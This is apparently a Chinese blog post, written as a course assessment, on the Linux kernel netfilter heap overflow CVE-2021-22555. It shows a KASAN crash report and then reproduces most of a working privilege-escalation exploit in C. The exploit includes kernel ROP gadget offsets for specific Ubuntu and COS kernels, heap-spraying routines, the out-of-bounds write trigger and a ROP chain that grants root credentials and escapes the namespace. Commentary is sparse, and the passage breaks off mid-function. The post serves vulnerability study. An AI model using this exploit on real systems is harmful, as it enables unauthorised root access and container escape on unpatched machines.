长亭百川云 - 文章详情

内核漏洞学习记录(CVE-2021-22555)

看雪学苑

27

2024-08-08

一  

  

前言

看雪的二进制课程已经学习结束了,此篇是考核内容,顺便检测一下我对课程内容的理解程度。

参考内容

https://www.anquanke.com/post/id/254027

https://arttnba3.cn/2022/04/01/CVE-0X07-CVE-2021-22555/

https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html

以及看雪的二进制课程。

二  

  

漏洞分析

先看一下kasan给出的信息。

\[ 1185.205439\] ==================================================================  
\[ 1185.205993\] BUG: KASAN: slab-out-of-bounds in xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]  
\[ 1185.206102\] Write of size 4 at addr ffff8881e4c97600 by task poc/2059  
  
\[ 1185.206255\] CPU: 1 PID: 2059 Comm: poc Not tainted 5.8.1 #1  
\[ 1185.206257\] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020  
\[ 1185.206259\] Call Trace:  
\[ 1185.206326\]  dump\_stack+0x9d/0xda  
\[ 1185.206346\]  print\_address\_description.constprop.0+0x1f/0x210  
\[ 1185.206353\]  ? \_raw\_spin\_lock\_irqsave+0x8e/0xf0  
\[ 1185.206355\]  ? \_raw\_spin\_trylock\_bh+0x130/0x130  
\[ 1185.206371\]  ? xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]  
\[ 1185.206373\]  kasan\_report.cold+0x37/0x7c  
\[ 1185.206377\]  ? xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]  
\[ 1185.206390\]  check\_memory\_region+0x15b/0x1e0  
\[ 1185.206393\]  memset+0x24/0x50  
\[ 1185.206399\]  xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]  
\[ 1185.206406\]  ? xt\_compat\_match\_from\_user+0x4c0/0x4c0 \[x\_tables\]  
\[ 1185.206410\]  ? \_\_kmalloc\_node+0x127/0x380  
\[ 1185.206416\]  translate\_compat\_table+0xf00/0x16d0 \[ip6\_tables\]  
\[ 1185.206420\]  ? ip6t\_register\_table+0x2d0/0x2d0 \[ip6\_tables\]  
\[ 1185.206423\]  ? kasan\_unpoison\_shadow+0x38/0x50  
\[ 1185.206425\]  ? \_\_kasan\_kmalloc.constprop.0+0xcf/0xe0  
\[ 1185.206427\]  ? kasan\_kmalloc+0x9/0x10  
\[ 1185.206428\]  ? \_\_kmalloc\_node+0x127/0x380  
\[ 1185.206431\]  ? \_\_kasan\_check\_write+0x14/0x20  
\[ 1185.206433\]  compat\_do\_replace.isra.0+0x160/0x380 \[ip6\_tables\]  
\[ 1185.206435\]  ? \_\_kasan\_check\_write+0x14/0x20  
\[ 1185.206438\]  ? translate\_compat\_table+0x16d0/0x16d0 \[ip6\_tables\]  
\[ 1185.206453\]  ? apparmor\_task\_alloc+0x2f0/0x2f0  
\[ 1185.206465\]  ? is\_bpf\_text\_address+0xe/0x20  
\[ 1185.206478\]  ? ns\_capable\_common+0x5c/0xe0  
\[ 1185.206481\]  compat\_do\_ip6t\_set\_ctl+0xe4/0x130 \[ip6\_tables\]  
\[ 1185.206496\]  compat\_nf\_setsockopt+0x74/0x100  
\[ 1185.206503\]  compat\_ipv6\_setsockopt.part.0+0x582/0x780  
\[ 1185.206505\]  ? ipv6\_setsockopt+0x110/0x110  
\[ 1185.206507\]  ? save\_stack+0x42/0x50  
\[ 1185.206509\]  ? save\_stack+0x23/0x50  
\[ 1185.206511\]  ? \_\_kasan\_kmalloc.constprop.0+0xcf/0xe0  
\[ 1185.206513\]  ? kasan\_slab\_alloc+0xe/0x10  
\[ 1185.206514\]  ? kmem\_cache\_alloc+0xd7/0x250  
\[ 1185.206521\]  ? security\_file\_alloc+0x2f/0x130  
\[ 1185.206525\]  ? \_\_alloc\_file+0xb1/0x370  
\[ 1185.206526\]  ? alloc\_empty\_file+0x46/0xf0  
\[ 1185.206529\]  ? alloc\_file+0x59/0x500  
\[ 1185.206530\]  ? alloc\_file\_pseudo+0x17e/0x270  
\[ 1185.206535\]  ? sock\_alloc\_file+0x47/0x170  
\[ 1185.206537\]  ? \_\_sys\_socket+0x108/0x1d0  
\[ 1185.206541\]  ? \_\_do\_compat\_sys\_socketcall+0x51c/0x5e0  
\[ 1185.206543\]  ? \_\_ia32\_compat\_sys\_socketcall+0x53/0x70  
\[ 1185.206549\]  ? do\_syscall\_32\_irqs\_on+0x4a/0x70  
\[ 1185.206552\]  ? do\_fast\_syscall\_32+0x5f/0xd0  
\[ 1185.206554\]  ? do\_SYSENTER\_32+0x1f/0x30  
\[ 1185.206558\]  ? entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f  
\[ 1185.206560\]  ? \_\_ia32\_compat\_sys\_socketcall+0x53/0x70  
\[ 1185.206561\]  ? do\_syscall\_32\_irqs\_on+0x4a/0x70  
\[ 1185.206563\]  ? do\_fast\_syscall\_32+0x5f/0xd0  
\[ 1185.206565\]  ? do\_SYSENTER\_32+0x1f/0x30  
\[ 1185.206567\]  ? entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f  
\[ 1185.206569\]  ? \_\_ia32\_compat\_sys\_socketcall+0x53/0x70  
\[ 1185.206571\]  ? do\_syscall\_32\_irqs\_on+0x4a/0x70  
\[ 1185.206573\]  ? do\_fast\_syscall\_32+0x5f/0xd0  
\[ 1185.206575\]  ? do\_SYSENTER\_32+0x1f/0x30  
\[ 1185.206577\]  ? entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f  
\[ 1185.206579\]  ? \_\_sys\_socket+0xdd/0x1d0  
\[ 1185.206581\]  ? \_\_do\_compat\_sys\_socketcall+0x51c/0x5e0  
\[ 1185.206583\]  ? \_\_ia32\_compat\_sys\_socketcall+0x53/0x70  
\[ 1185.206585\]  ? do\_syscall\_32\_irqs\_on+0x4a/0x70  
\[ 1185.206587\]  ? do\_fast\_syscall\_32+0x5f/0xd0  
\[ 1185.206588\]  ? do\_SYSENTER\_32+0x1f/0x30  
\[ 1185.206590\]  ? entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f  
\[ 1185.206595\]  ? \_\_mod\_lruvec\_state+0x8c/0x320  
\[ 1185.206598\]  ? alloc\_pages\_current+0xdc/0x1c0  
\[ 1185.206600\]  ? kasan\_init\_slab\_obj+0x25/0x30  
\[ 1185.206603\]  ? setup\_object.isra.0+0x2b/0xa0  
\[ 1185.206605\]  ? \_\_kasan\_check\_write+0x14/0x20  
\[ 1185.206607\]  ? apparmor\_file\_alloc\_security+0x178/0x5c0  
\[ 1185.206609\]  ? kasan\_unpoison\_shadow+0x38/0x50  
\[ 1185.206611\]  ? apparmor\_ptrace\_access\_check+0x460/0x460  
\[ 1185.206613\]  ? security\_file\_alloc+0x2f/0x130  
\[ 1185.206614\]  ? kmem\_cache\_alloc+0x180/0x250  
\[ 1185.206617\]  ? \_\_kasan\_check\_write+0x14/0x20  
\[ 1185.206619\]  ? \_\_mutex\_init+0xba/0x130  
\[ 1185.206621\]  ? \_\_alloc\_file+0x1a5/0x370  
\[ 1185.206623\]  ? alloc\_empty\_file+0x92/0xf0  
\[ 1185.206625\]  ? alloc\_file+0x228/0x500  
\[ 1185.206629\]  ? \_cond\_resched+0x19/0x30  
\[ 1185.206632\]  ? aa\_sk\_perm+0x12a/0x610  
\[ 1185.206634\]  compat\_ipv6\_setsockopt+0xb4/0x160  
\[ 1185.206640\]  ? \_\_fget\_files+0x12b/0x250  
\[ 1185.206647\]  inet\_csk\_compat\_setsockopt+0x6b/0x120  
\[ 1185.206650\]  compat\_tcp\_setsockopt+0x1c/0x30  
\[ 1185.206653\]  compat\_sock\_common\_setsockopt+0x8a/0x160  
\[ 1185.206655\]  \_\_compat\_sys\_setsockopt+0x139/0x330  
\[ 1185.206658\]  ? \_\_sys\_socket+0x11b/0x1d0  
\[ 1185.206660\]  ? \_\_x32\_compat\_sys\_recvmmsg\_time32+0x150/0x150  
\[ 1185.206662\]  ? \_\_kasan\_check\_write+0x14/0x20  
\[ 1185.206664\]  \_\_do\_compat\_sys\_socketcall+0x48c/0x5e0  
\[ 1185.206667\]  ? \_\_x32\_compat\_sys\_setsockopt+0x150/0x150  
\[ 1185.206673\]  ? perf\_event\_namespaces+0x1a/0x30  
\[ 1185.206677\]  ? walk\_process\_tree+0x330/0x330  
\[ 1185.206679\]  ? \_\_kasan\_check\_read+0x11/0x20  
\[ 1185.206684\]  ? fpregs\_assert\_state\_consistent+0x22/0xa0  
\[ 1185.206686\]  ? \_\_prepare\_exit\_to\_usermode+0x76/0x210  
\[ 1185.206688\]  ? fpregs\_assert\_state\_consistent+0x22/0xa0  
\[ 1185.206690\]  \_\_ia32\_compat\_sys\_socketcall+0x53/0x70  
\[ 1185.206693\]  do\_syscall\_32\_irqs\_on+0x4a/0x70  
\[ 1185.206696\]  do\_fast\_syscall\_32+0x5f/0xd0  
\[ 1185.206698\]  do\_SYSENTER\_32+0x1f/0x30  
\[ 1185.206700\]  entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f  
\[ 1185.206705\] RIP: 0023:0xf7f08569  
\[ 1185.206711\] Code: c4 01 10 03 03 74 c0 01 10 05 03 74 b8 01 10 06 03 74 b4 01 10 07 03 74 b0 01 10 08 03 74 d8 01 00 51 52 55 89 e5 0f 34 cd 80 <5d> 5a 59 c3 90 90 90 90 8d b4 26 00 00 00 00 8d b4 26 00 00 00 00  
\[ 1185.206712\] RSP: 002b:00000000ffed1440 EFLAGS: 00000246 ORIG\_RAX: 0000000000000066  
\[ 1185.206715\] RAX: ffffffffffffffda RBX: 000000000000000e RCX: 00000000ffed1458  
\[ 1185.206716\] RDX: 00000000ffed14bc RSI: 00000000f7ef5000 RDI: 00000000ffed16cc  
\[ 1185.206717\] RBP: 00000000ffed16e8 R08: 0000000000000000 R09: 0000000000000000  
\[ 1185.206718\] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000  
\[ 1185.206719\] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000  
  
\[ 1185.206746\] Allocated by task 2059:  
\[ 1185.206836\]  save\_stack+0x23/0x50  
\[ 1185.206838\]  \_\_kasan\_kmalloc.constprop.0+0xcf/0xe0  
\[ 1185.206840\]  kasan\_kmalloc+0x9/0x10  
\[ 1185.206842\]  \_\_kmalloc\_node+0x127/0x380  
\[ 1185.206845\]  kvmalloc\_node+0x7b/0x90  
\[ 1185.206855\]  xt\_alloc\_table\_info+0x2f/0x80 \[x\_tables\]  
\[ 1185.206860\]  translate\_compat\_table+0xb38/0x16d0 \[ip6\_tables\]  
\[ 1185.206862\]  compat\_do\_replace.isra.0+0x160/0x380 \[ip6\_tables\]  
\[ 1185.206865\]  compat\_do\_ip6t\_set\_ctl+0xe4/0x130 \[ip6\_tables\]  
\[ 1185.206868\]  compat\_nf\_setsockopt+0x74/0x100  
\[ 1185.206871\]  compat\_ipv6\_setsockopt.part.0+0x582/0x780  
\[ 1185.206873\]  compat\_ipv6\_setsockopt+0xb4/0x160  
\[ 1185.206875\]  inet\_csk\_compat\_setsockopt+0x6b/0x120  
\[ 1185.206877\]  compat\_tcp\_setsockopt+0x1c/0x30  
\[ 1185.206879\]  compat\_sock\_common\_setsockopt+0x8a/0x160  
\[ 1185.206882\]  \_\_compat\_sys\_setsockopt+0x139/0x330  
\[ 1185.206884\]  \_\_do\_compat\_sys\_socketcall+0x48c/0x5e0  
\[ 1185.206886\]  \_\_ia32\_compat\_sys\_socketcall+0x53/0x70  
\[ 1185.206889\]  do\_syscall\_32\_irqs\_on+0x4a/0x70  
\[ 1185.206892\]  do\_fast\_syscall\_32+0x5f/0xd0  
\[ 1185.206894\]  do\_SYSENTER\_32+0x1f/0x30  
\[ 1185.206896\]  entry\_SYSENTER\_compat\_after\_hwframe+0x4d/0x5f  
  
\[ 1185.206976\] Freed by task 0:  
\[ 1185.206998\] (stack is not available)  
  
\[ 1185.207036\] The buggy address belongs to the object at ffff8881e4c97400  
                which belongs to the cache kmalloc-512(1052:session-1.scope) of size 512  
\[ 1185.207140\] The buggy address is located 0 bytes to the right of  
                512-byte region \[ffff8881e4c97400, ffff8881e4c97600)  
\[ 1185.207317\] The buggy address belongs to the page:  
\[ 1185.207382\] page:ffffea0007932400 refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff8881e4c96400 head:ffffea0007932400 order:3 compound\_mapcount:0 compound\_pincount:0  
\[ 1185.207384\] flags: 0x17ffffc0010200(slab|head)  
\[ 1185.207387\] raw: 0017ffffc0010200 dead000000000100 dead000000000122 ffff8881cab0b400  
\[ 1185.207389\] raw: ffff8881e4c96400 0000000080200016 00000001ffffffff 0000000000000000  
\[ 1185.207390\] page dumped because: kasan: bad access detected  
  
\[ 1185.207402\] Memory state around the buggy address:  
\[ 1185.207459\]  ffff8881e4c97500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
\[ 1185.207507\]  ffff8881e4c97580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
\[ 1185.207549\] >ffff8881e4c97600: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc  
\[ 1185.207605\]                    ^  
\[ 1185.207628\]  ffff8881e4c97680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc  
\[ 1185.207732\]  ffff8881e4c97700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc  
\[ 1185.207780\] ==================================================================  
\[ 1185.207882\] Disabling lock debugging due to kernel taint  
\[ 1185.209449\] x\_tables: ip6\_tables: icmp6.0 match: invalid size 8 (kernel) != (user) 212

看样子是xt_compat_target_from_user函数出现了两字节写的堆溢出。

由于本人对Linux内核不太熟悉,所以只能从exp入手来分析漏洞成因,以及漏洞所在的模块的大致作用。

poc如下:

// exp.c  
#define \_GNU\_SOURCE  
#include <err.h>  
#include <errno.h>  
#include <fcntl.h>  
#include <inttypes.h>  
#include <sched.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <net/if.h>  
#include <netinet/in.h>  
#include <sys/ipc.h>  
#include <sys/msg.h>  
#include <sys/socket.h>  
#include <sys/syscall.h>  
#include <linux/netfilter\_ipv4/ip\_tables.h>  
// clang-format on  
  
#define PAGE\_SIZE 0x1000  
#define PRIMARY\_SIZE 0x1000  
#define SECONDARY\_SIZE 0x400  
  
#define NUM\_SOCKETS 4  
#define NUM\_SKBUFFS 128  
#define NUM\_PIPEFDS 256  
#define NUM\_MSQIDS 4096  
  
#define HOLE\_STEP 1024  
  
#define MTYPE\_PRIMARY 0x41  
#define MTYPE\_SECONDARY 0x42  
#define MTYPE\_FAKE 0x1337  
  
#define MSG\_TAG 0xAAAAAAAA  
  
// #define KERNEL\_COS\_5\_4\_89 1  
#define KERNEL\_UBUNTU\_5\_8\_0\_48 1  
  
// clang-format off  
#ifdef KERNEL\_COS\_5\_4\_89  
// 0xffffffff810360f8 : push rax ; jmp qword ptr \[rcx\]  
#define PUSH\_RAX\_JMP\_QWORD\_PTR\_RCX 0x360F8  
// 0xffffffff815401df : pop rsp ; pop rbx ; ret  
#define POP\_RSP\_POP\_RBX\_RET 0x5401DF  
  
// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret  
#define ENTER\_0\_0\_POP\_RBX\_POP\_R14\_POP\_RBP\_RET 0x6D3A65  
// 0xffffffff814ddfa8 : mov qword ptr \[r14\], rbx ; pop rbx ; pop r14 ; pop rbp ; ret  
#define MOV\_QWORD\_PTR\_R14\_RBX\_POP\_RBX\_POP\_R14\_POP\_RBP\_RET 0x4DDFA8  
// 0xffffffff81073972 : push qword ptr \[rbp + 0x25\] ; pop rbp ; ret  
#define PUSH\_QWORD\_PTR\_RBP\_25\_POP\_RBP\_RET 0x73972  
// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret  
#define MOV\_RSP\_RBP\_POP\_RBP\_RET 0x6748C  
  
// 0xffffffff810c7c80 : pop rdx ; ret  
#define POP\_RDX\_RET 0xC7C80  
// 0xffffffff8143a2b4 : pop rsi ; ret  
#define POP\_RSI\_RET 0x43A2B4  
// 0xffffffff81067520 : pop rdi ; ret  
#define POP\_RDI\_RET 0x67520  
// 0xffffffff8100054b : pop rbp ; ret  
#define POP\_RBP\_RET 0x54B  
  
// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret  
#define MOV\_RDI\_RAX\_JNE\_POP\_RBP\_RET 0x2383A6  
// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret  
#define CMP\_RDX\_1\_JNE\_POP\_RBP\_RET 0x5282E1  
  
#define FIND\_TASK\_BY\_VPID 0x963C0  
#define SWITCH\_TASK\_NAMESPACES 0x9D080  
#define COMMIT\_CREDS 0x9EC10  
#define PREPARE\_KERNEL\_CRED 0x9F1F0  
  
#define ANON\_PIPE\_BUF\_OPS 0xE51600  
#define INIT\_NSPROXY 0x1250590  
#elif KERNEL\_UBUNTU\_5\_8\_0\_48  
// 0xffffffff816e9783 : push rsi ; jmp qword ptr \[rsi + 0x39\]  
#define PUSH\_RSI\_JMP\_QWORD\_PTR\_RSI\_39 0x6E9783  
// 0xffffffff8109b6c0 : pop rsp ; ret  
#define POP\_RSP\_RET 0x9B6C0  
// 0xffffffff8106db59 : add rsp, 0xd0 ; ret  
#define ADD\_RSP\_D0\_RET 0x6DB59  
  
// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret  
#define ENTER\_0\_0\_POP\_RBX\_POP\_R12\_POP\_RBP\_RET 0x1A21C3  
// 0xffffffff81084de3 : mov qword ptr \[r12\], rbx ; pop rbx ; pop r12 ; pop rbp ; ret  
#define MOV\_QWORD\_PTR\_R12\_RBX\_POP\_RBX\_POP\_R12\_POP\_RBP\_RET 0x84DE3  
// 0xffffffff816a98ff : push qword ptr \[rbp + 0xa\] ; pop rbp ; ret  
#define PUSH\_QWORD\_PTR\_RBP\_A\_POP\_RBP\_RET 0x6A98FF  
// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret  
#define MOV\_RSP\_RBP\_POP\_RBP\_RET 0x891BC  
  
// 0xffffffff810f5633 : pop rcx ; ret  
#define POP\_RCX\_RET 0xF5633  
// 0xffffffff811abaae : pop rsi ; ret  
#define POP\_RSI\_RET 0x1ABAAE  
// 0xffffffff81089250 : pop rdi ; ret  
#define POP\_RDI\_RET 0x89250  
// 0xffffffff810005ae : pop rbp ; ret  
#define POP\_RBP\_RET 0x5AE  
  
// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret  
#define MOV\_RDI\_RAX\_JNE\_XOR\_EAX\_EAX\_RET 0x557894  
// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret  
#define CMP\_RCX\_4\_JNE\_POP\_RBP\_RET 0x724DB  
  
#define FIND\_TASK\_BY\_VPID 0xBFBC0  
#define SWITCH\_TASK\_NAMESPACES 0xC7A50  
#define COMMIT\_CREDS 0xC8C80  
#define PREPARE\_KERNEL\_CRED 0xC9110  
  
#define ANON\_PIPE\_BUF\_OPS 0x1078380  
#define INIT\_NSPROXY 0x1663080  
#else  
#error "No kernel version defined"  
#endif  
// clang-format on  
  
#define SKB\_SHARED\_INFO\_SIZE 0x140  
#define MSG\_MSG\_SIZE (sizeof(struct msg\_msg))  
#define MSG\_MSGSEG\_SIZE (sizeof(struct msg\_msgseg))  
  
struct msg\_msg {  
  uint64\_t m\_list\_next;  
  uint64\_t m\_list\_prev;  
  uint64\_t m\_type;  
  uint64\_t m\_ts;  
  uint64\_t next;  
  uint64\_t security;  
};  
  
struct msg\_msgseg {  
  uint64\_t next;  
};  
  
struct pipe\_buffer {  
  uint64\_t page;  
  uint32\_t offset;  
  uint32\_t len;  
  uint64\_t ops;  
  uint32\_t flags;  
  uint32\_t pad;  
  uint64\_t private;  
};  
  
struct pipe\_buf\_operations {  
  uint64\_t confirm;  
  uint64\_t release;  
  uint64\_t steal;  
  uint64\_t get;  
};  
  
struct {  
  long mtype;  
  char mtext\[PRIMARY\_SIZE - MSG\_MSG\_SIZE\];  
} msg\_primary;  
  
struct {  
  long mtype;  
  char mtext\[SECONDARY\_SIZE - MSG\_MSG\_SIZE\];  
} msg\_secondary;  
  
struct {  
  long mtype;  
  char mtext\[PAGE\_SIZE - MSG\_MSG\_SIZE + PAGE\_SIZE - MSG\_MSGSEG\_SIZE\];  
} msg\_fake;  
  
void build\_msg\_msg(struct msg\_msg \*msg, uint64\_t m\_list\_next,  
                   uint64\_t m\_list\_prev, uint64\_t m\_ts, uint64\_t next) {  
  msg->m\_list\_next = m\_list\_next;  
  msg->m\_list\_prev = m\_list\_prev;  
  msg->m\_type = MTYPE\_FAKE;  
  msg->m\_ts = m\_ts;  
  msg->next = next;  
  msg->security = 0;  
}  
  
int write\_msg(int msqid, const void \*msgp, size\_t msgsz, long msgtyp) {  
  \*(long \*)msgp = msgtyp;  
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {  
    perror("\[-\] msgsnd");  
    return -1;  
  }  
  return 0;  
}  
  
int peek\_msg(int msqid, void \*msgp, size\_t msgsz, long msgtyp) {  
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG\_COPY | IPC\_NOWAIT) <  
      0) {  
    perror("\[-\] msgrcv");  
    return -1;  
  }  
  return 0;  
}  
  
int read\_msg(int msqid, void \*msgp, size\_t msgsz, long msgtyp) {  
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {  
    perror("\[-\] msgrcv");  
    return -1;  
  }  
  return 0;  
}  
  
int spray\_skbuff(int ss\[NUM\_SOCKETS\]\[2\], const void \*buf, size\_t size) {  
  for (int i = 0; i < NUM\_SOCKETS; i++) {  
    for (int j = 0; j < NUM\_SKBUFFS; j++) {  
      if (write(ss\[i\]\[0\], buf, size) < 0) {  
        perror("\[-\] write");  
        return -1;  
      }  
    }  
  }  
  return 0;  
}  
  
int free\_skbuff(int ss\[NUM\_SOCKETS\]\[2\], void \*buf, size\_t size) {  
  for (int i = 0; i < NUM\_SOCKETS; i++) {  
    for (int j = 0; j < NUM\_SKBUFFS; j++) {  
      if (read(ss\[i\]\[1\], buf, size) < 0) {  
        perror("\[-\] read");  
        return -1;  
      }  
    }  
  }  
  return 0;  
}  
  
int trigger\_oob\_write(int s) {  
  struct \_\_attribute\_\_((\_\_packed\_\_)) {  
    struct ipt\_replace replace;  
    struct ipt\_entry entry;  
    struct xt\_entry\_match match;  
    char pad\[0x108 + PRIMARY\_SIZE - 0x200 - 0x2\];  
    struct xt\_entry\_target target;  
  } data = {0};  
  
  data.replace.num\_counters = 1;  
  data.replace.num\_entries = 1;  
  data.replace.size = (sizeof(data.entry) + sizeof(data.match) +  
                       sizeof(data.pad) + sizeof(data.target));  
  
  data.entry.next\_offset = (sizeof(data.entry) + sizeof(data.match) +  
                            sizeof(data.pad) + sizeof(data.target));  
  data.entry.target\_offset =  
      (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));  
  
  data.match.u.user.match\_size = (sizeof(data.match) + sizeof(data.pad));  
  strcpy(data.match.u.user.name, "icmp");  
  data.match.u.user.revision = 0;  
  
  data.target.u.user.target\_size = sizeof(data.target);  
  strcpy(data.target.u.user.name, "NFQUEUE");  
  data.target.u.user.revision = 1;  
  
  // Partially overwrite the adjacent buffer with 2 bytes of zero.  
  if (setsockopt(s, SOL\_IP, IPT\_SO\_SET\_REPLACE, &data, sizeof(data)) != 0) {  
    if (errno == ENOPROTOOPT) {  
      printf("\[-\] Error ip\_tables module is not loaded.\\n");  
      return -1;  
    }  
  }  
  
  return 0;  
}  
  
// Note: Must not touch offset 0x10-0x18.  
void build\_krop(char \*buf, uint64\_t kbase\_addr, uint64\_t scratchpad\_addr) {  
  uint64\_t \*rop;  
#ifdef KERNEL\_COS\_5\_4\_89  
  \*(uint64\_t \*)&buf\[0x00\] = kbase\_addr + POP\_RSP\_POP\_RBX\_RET;  
  
  rop = (uint64\_t \*)&buf\[0x18\];  
  
  // Save RBP at scratchpad\_addr.  
  \*rop++ = kbase\_addr + ENTER\_0\_0\_POP\_RBX\_POP\_R14\_POP\_RBP\_RET;  
  \*rop++ = scratchpad\_addr; // R14  
  \*rop++ = 0xDEADBEEF;      // RBP  
  \*rop++ = kbase\_addr + MOV\_QWORD\_PTR\_R14\_RBX\_POP\_RBX\_POP\_R14\_POP\_RBP\_RET;  
  \*rop++ = 0xDEADBEEF; // RBX  
  \*rop++ = 0xDEADBEEF; // R14  
  \*rop++ = 0xDEADBEEF; // RBP  
  
  // commit\_creds(prepare\_kernel\_cred(NULL))  
  \*rop++ = kbase\_addr + POP\_RDI\_RET;  
  \*rop++ = 0; // RDI  
  \*rop++ = kbase\_addr + PREPARE\_KERNEL\_CRED;  
  \*rop++ = kbase\_addr + POP\_RDX\_RET;  
  \*rop++ = 1; // RDX  
  \*rop++ = kbase\_addr + CMP\_RDX\_1\_JNE\_POP\_RBP\_RET;  
  \*rop++ = 0xDEADBEEF; // RBP  
  \*rop++ = kbase\_addr + MOV\_RDI\_RAX\_JNE\_POP\_RBP\_RET;  
  \*rop++ = 0xDEADBEEF; // RBP  
  \*rop++ = kbase\_addr + COMMIT\_CREDS;  
  
  // switch\_task\_namespaces(find\_task\_by\_vpid(1), init\_nsproxy)  
  \*rop++ = kbase\_addr + POP\_RDI\_RET;  
  \*rop++ = 1; // RDI  
  \*rop++ = kbase\_addr + FIND\_TASK\_BY\_VPID;  
  \*rop++ = kbase\_addr + POP\_RDX\_RET;  
  \*rop++ = 1; // RDX  
  \*rop++ = kbase\_addr + CMP\_RDX\_1\_JNE\_POP\_RBP\_RET;  
  \*rop++ = 0xDEADBEEF; // RBP  
  \*rop++ = kbase\_addr + MOV\_RDI\_RAX\_JNE\_POP\_RBP\_RET;  
  \*rop++ = 0xDEADBEEF; // RBP  
  \*rop++ = kbase\_addr + POP\_RSI\_RET;  
  \*rop++ = kbase\_addr + INIT\_NSPROXY; // RSI  
  \*rop++ = kbase\_addr + SWITCH\_TASK\_NAMESPACES;  
  
  // Load RBP from scratchpad\_addr and resume execution.  
  \*rop++ = kbase\_addr + POP\_RBP\_RET;  
  \*rop++ = scratchpad\_addr - 0x25; // RBP  
  \*rop++ = kbase\_addr + PUSH\_QWORD\_PTR\_RBP\_25\_POP\_RBP\_RET;  
  \*rop++ = kbase\_addr + MOV\_RSP\_RBP\_POP\_RBP\_RET;  
#elif KERNEL\_UBUNTU\_5\_8\_0\_48  
  \*(uint64\_t \*)&buf\[0x39\] = kbase\_addr + POP\_RSP\_RET;  
  \*(uint64\_t \*)&buf\[0x00\] = kbase\_addr + ADD\_RSP\_D0\_RET;  
  
  rop = (uint64\_t \*)&buf\[0xD8\];  
  
  // Save RBP at scratchpad\_addr.  
  \*rop++ = kbase\_addr + ENTER\_0\_0\_POP\_RBX\_POP\_R12\_POP\_RBP\_RET;  
  \*rop++ = scratchpad\_addr; // R12  
  \*rop++ = 0xDEADBEEF;      // RBP  
  \*rop++ = kbase\_addr + MOV\_QWORD\_PTR\_R12\_RBX\_POP\_RBX\_POP\_R12\_POP\_RBP\_RET;  
  \*rop++ = 0xDEADBEEF; // RBX  
  \*rop++ = 0xDEADBEEF; // R12  
  \*rop++ = 0xDEADBEEF; // RBP  
  
  // commit\_creds(prepare\_kernel\_cred(NULL))  
  \*rop++ = kbase\_addr + POP\_RDI\_RET;  
  \*rop++ = 0; // RDI  
  \*rop++ = kbase\_addr + PREPARE\_KERNEL\_CRED;  
  \*rop++ = kbase\_addr + POP\_RCX\_RET;  
  \*rop++ = 4; // RCX  
  \*rop++ = kbase\_addr + CMP\_RCX\_4\_JNE\_POP\_RBP\_RET;  
  \*rop++ = 0xDEADBEEF; // RBP  
  \*rop++ = kbase\_addr + MOV\_RDI\_RAX\_JNE\_XOR\_EAX\_EAX\_RET;  
  \*rop++ = kbase\_addr + COMMIT\_CREDS;  
  
  // switch\_task\_namespaces(find\_task\_by\_vpid(1), init\_nsproxy)  
  \*rop++ = kbase\_addr + POP\_RDI\_RET;  
  \*rop++ = 1; // RDI  
  \*rop++ = kbase\_addr + FIND\_TASK\_BY\_VPID;  
  \*rop++ = kbase\_addr + POP\_RCX\_RET;  
  \*rop++ = 4; // RCX  
  \*rop++ = kbase\_addr + CMP\_RCX\_4\_JNE\_POP\_RBP\_RET;  
  \*rop++ = 0xDEADBEEF; // RBP  
  \*rop++ = kbase\_addr + MOV\_RDI\_RAX\_JNE\_XOR\_EAX\_EAX\_RET;  
  \*rop++ = kbase\_addr + POP\_RSI\_RET;  
  \*rop++ = kbase\_addr + INIT\_NSPROXY; // RSI  
  \*rop++ = kbase\_addr + SWITCH\_TASK\_NAMESPACES;  
  
  // Load RBP from scratchpad\_addr and resume execution.  
  \*rop++ = kbase\_addr + POP\_RBP\_RET;  
  \*rop++ = scratchpad\_addr - 0xA; // RBP  
  \*rop++ = kbase\_addr + PUSH\_QWORD\_PTR\_RBP\_A\_POP\_RBP\_RET;  
  \*rop++ = kbase\_addr + MOV\_RSP\_RBP\_POP\_RBP\_RET;  
#endif  
}  
  
int setup\_sandbox(void) {  
  if (unshare(CLONE\_NEWUSER) < 0) {  
    perror("\[-\] unshare(CLONE\_NEWUSER)");  
    return -1;  
  }  
  if (unshare(CLONE\_NEWNET) < 0) {  
    perror("\[-\] unshare(CLONE\_NEWNET)");  
    return -1;  
  }  
  
  cpu\_set\_t set;  
  CPU\_ZERO(&set);  
  CPU\_SET(0, &set);  
  if (sched\_setaffinity(getpid(), sizeof(set), &set) < 0) {  
